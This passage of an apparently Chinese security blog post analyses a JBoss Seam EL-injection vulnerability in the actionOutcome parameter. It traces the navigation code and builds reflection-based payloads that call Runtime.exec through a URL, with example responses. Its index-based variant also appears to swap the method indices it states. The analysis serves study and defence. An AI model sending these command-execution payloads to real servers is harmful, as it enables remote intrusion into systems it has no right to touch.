SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">是 JSF中的导航处理，继续看<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;"> handleNavigation</code> 函数：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">//  handleNavigation 方法</span><br/><span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">void</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">handleNavigation</span><span style="box-sizing: border-box;">(FacesContext context, String fromAction, String outcome)</span> </span>{<br/>     <span style="box-sizing: border-box;color: rgb(204, 153, 204);">if</span> (!context.getResponseComplete())<br/>     {<br/>       <span style="box-sizing: border-box;color: rgb(204, 153, 204);">if</span> (isOutcomeViewId(outcome)) {        <br/>         FacesManager.instance().interpolateAndRedirect(outcome);<br/>       } <span style="box-sizing: border-box;color: rgb(204, 153, 204);">else</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">if</span> (Init.instance().isJbpmInstalled() &amp;&amp; Pageflow.instance().isInProcess() &amp;&amp; Pageflow.instance().hasTransition(outcome)) {       <br/>            Pageflow.instance().navigate(context, outcome);<br/>       } <span style="box-sizing: border-box;color: rgb(204, 153, 204);">else</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">if</span> (!Pages.instance().navigate(context, fromAction, outcome)) {        <br/>                 <span style="box-sizing: border-box;color: rgb(204, 153, 204);">this</span>.baseNavigationHandler.handleNavigation(context, fromAction, outcome);<br/>       } <br/>    }<br/>  }</code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">如果为当前请求没有调用<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">responseComplete()</code>方法，则进一步传入<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">isOutcomeViewId()</code>方法进行判断：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"> <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">// isOutcomeViewId() 方法</span><br/><span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">private</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">static</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">boolean</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">isOutcomeViewId</span><span style="box-sizing: border-box;">(String outcome)</span> </span>{ <br/>   <span style="box-sizing: border-box;color: rgb(204, 153, 204);">return</span> (outcome != <span style="box-sizing: border-box;color: rgb(204, 153, 204);">null</span> &amp;&amp; outcome.startsWith(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;/&#34;</span>)); <br/> }</code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">若传入的参数不为空，并且以<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">/</code>开头，则进入<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">FacesManager.instance().interpolateAndRedirect()</code>方法，最后经过以下栈的调用进行了 JBoss EL 表达式的解析：</p><ul style="margin-bottom: 1.2em;margin-left: 1.3em;list-style-position: initial;list-style-image: initial;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p>interpolateAndRedirect (FacesManager.java)</p></li><li style="box-sizing: border-box;"><p>interpolate (Interpolator.java)</p></li><li style="box-sizing: border-box;"><p>interpolateExpressions (Interpolator.java)</p></li><li style="box-sizing: border-box;"><p>createValueExpression (Expressions.java)</p></li></ul><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">整个漏洞流程如下图所示：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.9834619625137817" data-s="300,640" style="" data-type="png" data-w="1814" src="https://wechat2rss.xlab.app/img-proxy/?k=0d11a3dc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1libWFbOgjtdGTvjib1tB1xdjzhDsaxZ1DziaKaibSHwHpoIMtDPt1xplfA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">漏洞的逻辑线上面介绍的比较清楚了，下面的关键是如何构建我们想要的 JBoss EL 表达式。JBoss EL 表达式是在 Java EL 表达式基础上的增强。比如说我们想进行参数绑定，那么可以：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);">&lt;h:commandButton action=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;#{hotelBooking.bookHotel(hotel.id, user.username)}&#34;</span>value=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;Book Hotel&#34;</span>/&gt;<br/></code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">如果想要进行参数值绑定，那么可以：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);">#{person.name.length()}<br/><span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">// 使用length()方法返回一个字符串的长度</span></code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">JBoss EL 解析器可以在JBoss EL语句中引用服务器端会话对象、会话对象的属性以及参数。在解析基础对象后，用户可以在该对象上调用任意方法。这样一来就使得我们可以通过反射的方式来访问其他任何类及其方法，如我们常用的<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">java.lang.Runtime</code>，我们可以通过下面的语句引用来<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">java.lang.Runtime</code>类：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);">expressions.getClass().forName(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;java.lang.Runtime&#39;</span>)</code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">根据反射的基础知识，我们可以通过反射调用类后，来获取该类的单一方法或者所有方法。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">如获取所有的方法：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);">expressions.getClass().forName(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;java.lang.Runtime&#39;</span>).getDeclaredMethods()</code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">获取单一方法：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);">expressions.getClass().forName(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;java.lang.Runtime&#39;</span>).getDeclaredMethod(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;getRuntime&#39;</span>)</code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">执行命令：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);">expressions.getClass().forName(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;java.lang.Runtime&#39;</span>).getDeclaredMethod(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;getRuntime&#39;</span>).invoke(expressions.getClass().forName(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;java.lang.Runtime&#39;</span>)).exec(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;xxx&#39;</span>)</code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">这样整个 EL 表达式的最终效果就出来了：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);">%<span style="box-sizing: border-box;color: rgb(249, 145, 87);">23</span>{expressions.getClass().forName(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;java.lang.Runtime&#39;</span>).getDeclaredMethod(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;getRuntime&#39;</span>).invoke(expressions.getClass().forName(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;java.lang.Runtime&#39;</span>)).exec(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;xxx&#39;</span>)}</code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">结合上面的一些函数要求：</p><ul style="margin-bottom: 1.2em;margin-left: 1.3em;list-style-position: initial;list-style-image: initial;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p>要有<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">actionOutcome</code>参数</p></li><li style="box-sizing: border-box;"><p><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">actionOutcome</code>参数要以<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">/</code>开头</p></li><li style="box-sizing: border-box;"><p>要有目的导航地址</p></li><li style="box-sizing: border-box;"><p>要含有<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">?</code>符号</p></li><li style="box-sizing: border-box;"><p>`<br style="box-sizing: border-box;"/>?`符号后要有参数</p></li><li style="box-sizing: border-box;"><p>EL 表达式要在<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">?参数=</code>的后面</p></li></ul><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">综上，payload 最终如下：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);">/<span style="box-sizing: border-box;color: rgb(129, 162, 190);">seam-booking/home.seam?actionOutcome=/test.xhtml?canshu=%23{expressions.getClass().forName(&#39;java.lang.Runtime&#39;).getDeclaredMethod(&#39;getRuntime&#39;).invoke(expressions.getClass().forName(&#39;java.lang.Runtime&#39;)).exec(&#39;gnome-calculator&#39;)}</span></code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">访问后，会返回：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);">/<span style="box-sizing: border-box;color: rgb(129, 162, 190);">seam-booking/test.seam?canshu=java.lang.UNIXProcess%40ef99e17&amp;cid=118</span></code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">执行效果如下：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5227272727272727" data-s="300,640" style="" data-type="png" data-w="2376" src="https://wechat2rss.xlab.app/img-proxy/?k=09b72d40&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1tCASFLRaenOo6EgWxasp14YEXj020vpqDS2K2ibibX6ibX6rMgeibWkiaKg%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">网上也有其他形式的 payload，首先使用<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">getDeclaredMethods()</code>得到所有方法，然后采用数组的形式调用指定方法。<br/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">假设我们想知道<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">java.lang.Runtime.getRuntime()</code>的方法是多少序号，那么可以尝试访问：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);">/<span style="box-sizing: border-box;color: rgb(129, 162, 190);">seam-booking/home.seam?actionOutcome=/test.xhtml?xxx=%23{expressions.getClass().forName(&#39;java.lang.Runtime&#39;).getDeclaredMethods()[0]}</span></code></pre><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.28071672354948807" data-s="300,640" style="" data-type="png" data-w="2344" src="https://wechat2rss.xlab.app/img-proxy/?k=1bfa9794&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1lpzdWcDW10B4zxPHmKeeSSoLgOiapEibykKr4t4FwfibXxayVNW3pPYsw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">返回的是：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);">/<span style="box-sizing: border-box;color: rgb(129, 162, 190);">seam-booking/test.seam?xxx=public+void+java.lang.Runtime.exit%28int%29&amp;cid=143</span></code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">明显不是我们想要的<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">java.lang.Runtime()</code>，可以继续尝试<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">getDeclaredMethods()[1]</code></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">最终得到结果如下：</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">getDeclaredMethods()[6]</code>等价于<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">java.lang.Runtime.getRuntime.exec()</code></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">getDeclaredMethods()[13]</code>等价于<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">java.lang.Runtime.getRuntime()</code></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">因此最后的 payload 就为：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);">/<span style="box-sizing: border-box;color: rgb(129, 162, 190);">seam-booking/home.seam?actionOutcome=/test.xhtml?canshu=%23{expressions.getClass().forName(&#39;java.lang.Runtime&#39;).getDeclaredMethods()[13].invoke(expressions.getClass().forName(&#39;java.lang.R<br/>untime&#39;).getDeclaredMethods()[6].invoke(null), &#39;gnome-calculator&#39;)}</span></code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">执行效果：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.4535073409461664" data-s="300,640" style="" data-type="png" data-w="2452" 